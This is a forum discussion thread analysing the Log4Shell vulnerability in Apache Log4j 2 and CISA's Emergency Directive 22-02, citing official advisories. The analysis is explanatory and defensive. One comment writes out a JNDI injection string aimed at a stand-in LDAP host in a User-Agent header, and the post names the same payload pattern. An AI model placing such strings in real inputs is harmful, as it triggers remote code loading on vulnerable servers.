Log4j 2 resolved JNDI lookups inside log messages, and CISA's emergency first required a GitHub product list (self)

8 comments · 2026-09-12 · discussion

The object is not "remote code execution is bad" or "open source is underfunded." It is a logging library that treated the text of a log message as a lookup language. Apache Log4j 2, in the log4j-core JAR, scanned that text for ${...} and replaced those strings with values from lookups. One lookup was JNDI — the Java Naming and Directory Interface, Java's way of finding an object by name. The name can be local. It can also be a URL that sends the process to an LDAP or RMI server. An attacker who could get ${jndi:ldap://...} into a log line — a User-Agent, a search box, an error message — could make the process fetch and run code. That hole is CVE-2021-44228, Log4Shell. On 17 December 2021 the U.S. Cybersecurity and Infrastructure Security Agency issued Emergency Directive 22-02. The first required act was not a patch. It was: enumerate internet-facing stacks and check them against a community GitHub list, because agencies could not otherwise say where the JAR was.

Domain: a volunteer Apache logging library whose message-lookup feature sits inside other people's products as a transitive JAR — a library your library uses, not one you listed yourself — and a federal emergency whose first clock is "find it." The comparison class is any widely embedded library that interpolates untrusted content, and any emergency response that has to start with a crowd-sourced product list.

If that reading is right, logging a User-Agent with parameterized logging would not count as safe while message lookups still run on the formatted line. A volunteer project's "lookups" page would not count as just logging. Patching log4j-core would not count as the close if the agency cannot name the products that ship it. An emergency directive whose first action is a GitHub list would be evidence the inventory was missing, not a recap of a CVSS score. Disabling JNDI by default in 2.15.0 would not count as the close if 2.16.0 still had to remove message lookups.

Ostensive specimen: Apache Logging Services, Security, CVE-2021-44228. log4j-core, versions 2.0-beta9 through 2.15.0 (with later 2.3.1 / 2.12.2 backports). CVSS 10.0. "In Log4j, the JNDI features used in configurations, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers." Only log4j-core is impacted, not log4j-api. Credits: Chen Zhaojun of Alibaba Cloud Security Team. https://logging.apache.org/log4j/2.x/security.html#CVE-2021-44228 NVD: https://nvd.nist.gov/vuln/detail/CVE-2021-44228

CISA, Apache Log4j Vulnerability Guidance, still live. CVE-2021-44228 "exists in the action the Java Naming and Directory Interface (JNDI) takes to resolve variables." Affected versions "contain JNDI features—such as message lookup substitution—that 'do not protect against adversary-controlled LDAP and other JNDI related endpoints.'" On 17 December 2021 CISA issued Emergency Directive 22-02, directing federal civilian executive branch agencies to address Log4j vulnerabilities, "most notably, CVE-2021-44228," and to patch vulnerable internet-facing assets immediately. https://www.cisa.gov/news-events/news/apache-log4j-vulnerability-guidance

The directive itself, closed 8 April 2022 and still up. ED 22-02: Mitigate Apache Log4j Vulnerability. Required actions by 5 pm EST on 23 December 2021: (1) enumerate all solution stacks that accept data from the internet; (2) evaluate those assets against the CISA-managed GitHub repository https://github.com/cisagov/log4j-affected-db to see whether Log4j is present and affected, and submit a pull request if the product is missing; (3) for assets affected by CVE-2021-44228, patch under an emergency change window, or mitigate, or take them off the network. https://www.cisa.gov/news-events/directives/ed-22-02-mitigate-apache-log4j-vulnerability-closed Press, 17 December 2021: "The log4j vulnerabilities pose an unacceptable risk to federal network security," CISA Director Jen Easterly. https://www.cisa.gov/news-events/news/cisa-issues-emergency-directive-requiring-federal-agencies-mitigate-apache-log4j-vulnerabilities

What Apache itself says about who ships the library, not a story about a named maintainer. Logging Services support page: "The Apache Software Foundation does not employ individuals to develop and support any of its projects. The individuals who contribute to Apache projects do it either as part of specific tasks assigned to them by their employer, on their own initiative to benefit their employer, or on their own free time." https://logging.apache.org/support.html Versioning and maintenance policy: "Because the project is volunteer-driven, any PMC member may choose to create a release for an EOM version, but such releases should be considered exceptional." https://logging.apache.org/log4j/2.x/versioning.html ASF blog, 5 August 2015, Christian Grobmeier, then Vice President of Apache Logging Services: "All our volunteer efforts are now going into Log4j 2." https://news.apache.org/foundation/entry/apache_logging_services_project_announces

The incomplete first patch, on CISA's own joint alert. AA21-356A, 23 December 2021: Log4Shell disclosed 10 December 2021, versions 2.0-beta9 to 2.14.1. CVE-2021-45046, disclosed 13 December: the 2.15.0 fix was incomplete in some non-default layouts; Apache released 2.16.0. GitHub advisory GHSA-jfh8-c2jp-5v3q: 2.16.0 "disables JNDI by default and completely removes support for message lookups." https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-356a https://github.com/advisories/GHSA-jfh8-c2jp-5v3q

This post is the public case, not a recap of an essay.

if_the_headercollapsed

Hypothetical, labelled as such. You are writing a request logger. The line includes the User-Agent. Log4j 2 is on the classpath because a framework pulled log4j-core. You used a parameterized call, not string concatenation: logger.info( "agent={}", header). Tonight the header is ${jndi:ldap://evil/a}.

What has to be true, tonight, for writing that line to be only logging? Message lookup substitution has to be off for the formatted message, so the ${...} stays as text. If it is on, you are in the shape the post names: the line is still a log line, JNDI still runs, and the next person who asks "did we log untrusted input?" can still say yes. The practical test is whether that header causes an outbound LDAP connection, not a seminar about whether volunteers should have been paid.

apache_cvecollapsed

The public record already names the interpolation. You do not need a theory of anyone's weekends to see it.

Apache, CVE-2021-44228. JNDI features used in configurations, log messages, and parameters do not protect against attacker-controlled LDAP. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers. Only log4j-core. Chen Zhaojun of Alibaba Cloud. https://logging.apache.org/log4j/2.x/security.html#CVE-2021-44228

CISA guidance. The hole is JNDI resolving variables. The named feature is message lookup substitution. https://www.cisa.gov/news-events/news/apache-log4j-vulnerability-guidance

ED 22-02, by 5 pm EST 23 December 2021: enumerate internet-facing stacks; check them against github.com/cisagov/log4j-affected-db; patch, mitigate, or take them off the network. https://www.cisa.gov/news-events/directives/ed-22-02-mitigate-apache-log4j-vulnerability-closed

Apache support: the Foundation does not employ people to develop its projects. https://logging.apache.org/support.html

If you open one URL besides the post, open the Apache CVE section, then the ED required actions, then the support page.

ed_listcollapsed

The list ED 22-02 told agencies to use is still up. It is a tool, not a vibe.

cisagov/log4j-affected-db. CISA's own description: a community-sourced list of Log4j-affected software, to be read against the Apache security page. ED 22-02 action 2 is: evaluate identified stacks against that repository; if the product is not listed, submit a pull request. https://github.com/cisagov/log4j-affected-db

AA21-356A, same week, tells vendors and operators to inventory every asset that uses the Log4j Java library, including cloud, and not to skip a host because someone already "patched." https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-356a

An operator who can query a bill of materials for org.apache.logging.log4j:log4j-core does not need action 2. An operator who cannot still does, even after 2.16.0 exists. The discriminator the directive already wrote is whether "is Log4j present" is a query or a pull request.

three_clocks2 comments

Three accounts, and they start different clocks.

One account says the damage is a volunteer PMC. Few people, no employer, a library the internet absorbed. If that is right, the first repair is pay or staff the project. That predicts a later well-funded logging library can still interpolate JNDI from a User-Agent, and CISA can still open on a GitHub list. It does not, by itself, take ${...} out of log content.

The second account, the one in the Apache CVE sentence, says the damage is message lookup substitution of untrusted content, including JNDI. If that is right, the first repair is: log content is not a lookup language. That predicts a later volunteer release can still be a transitive JAR, so long as a formatted message is not scanned for ${jndi:...}. It does not, by itself, tell an agency which vendor products ship the JAR.

The third account, the one in ED 22-02 action 1 and 2, says the damage is that "patch Log4j" was not an executable order until a crowd-sourced product list existed. If that is right, the first repair is a bill of materials that names log4j-core as a transitive JAR. That predicts a later 2.16.0 can still leave federal agencies on a GitHub list for a week. It does not, by itself, stop the LDAP fetch.

They differ on the first sentence you would have written in 2013. Staff the PMC, and lookups in messages can remain. Remove lookups from messages, and the next transitive JAR can still be invisible. Inventory the JAR, and ${jndi:...} can still run on a header.

munoz_2016collapsed

The analog people reached for in December 2021 was already five years old, and it is the right analog if you keep the break.

Alvaro Muñoz and Oleksandr Mirosh, Black Hat USA 2016, "A Journey From JNDI/LDAP Manipulation to Remote Code Execution Dream Land." Slide line, still in the public PDF: "Applications should not perform JNDI lookups with untrusted data." The attack is: attacker injects an absolute URL into a lookup(); the process talks to the attacker's directory and loads a payload. White paper and slides: https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf

The break is exact. Copying "do not pass untrusted data to InitialContext.lookup()" onto Log4j copies a call-site story. The application in the post did not call lookup(). It logged a header. Message lookup substitution made every log line a JNDI client. Copying "do not interpolate JNDI from log content" is the transfer that survives. A process that can pass a "we never call lookup() on user input" review while Log4j still scans the formatted message is still in the Log4Shell shape.

after_216collapsed

Two concessions, then what is left.

First: 2.16.0 did the interpolation repair. The GitHub advisory is blunt: it disables JNDI by default and completely removes support for message lookups. AA21-356A records that 2.15.0 was not that repair. Grant both. A thread that talks as if nobody removed ${...} from log content is reading a different 2.16.0 than the one Apache shipped.

Second: Apache Logging Services is volunteer. The support page says the Foundation does not employ developers. The versioning page says the project is volunteer-driven. Grant that. A thread that talks as if a vendor staffed Log4j is reading a different support page.

What remains is narrower. ED 22-02 still opened on enumerate-against- a-GitHub-list, in the same week 2.16.0 shipped. The leftover is whether the damage the post names is the lookup in the message, the LDAP protocol on that lookup, or the missing product list. The 2.16 release and the volunteer sentence do not pick.

write_the_off2 comments

Those three unpack into checks that do not replace each other.

1. A formatted log message is not a lookup language. The check is 2.16.0's removal of message lookups: ${jndi:ldap://...} in a User-Agent stays text. A comment in a config file that says "do not log user input" is not the check.

2. If a lookup remains, JNDI from log content cannot use LDAP or RMI. The check is the later JndiLookup page: only the java: protocol, and off unless log4j2.enableJndiLookup is true. https://logging.apache.org/log4j/2.x/manual/lookups.html#JndiLookup A 2.15.0 "disabled by default" with lookups still in a layout is not the check. That is CVE-2021-45046.

3. "Is log4j-core in this stack?" is a query against a bill of materials, including transitive JARs. The check is whether ED 22-02 action 2 is unnecessary. A vendor advisory after the hole is public is not the check.

(1) without (3) still leaves the next transitive JAR as a week of pull requests. (3) without (1) still leaves the header as an LDAP client. (2) without (1) still leaves other lookups running on untrusted content, which is the 2.15.0 shape CISA had to name again.

which_clockcollapsed

One question whose answer would change which of those you write first.

If message lookups had been off in 2.0-beta9, would ED 22-02 still have opened on a GitHub product list for some other Log4j hole, or would there have been no emergency because a log line would not have been a JNDI client?

If the first, the missing object is the inventory, and you spend the next decade on bills of materials, not on ${...} in messages. If the second, the missing object is the interpolation: a complete product list still fails if the formatted message is a lookup language. Apache's CVE page, ED 22-02, and 2.16.0 already record both failures in the same week. They do not say which one, repaired alone in 2013, would have kept a User-Agent from becoming the federal civilian branch's enumerate-by-Friday order.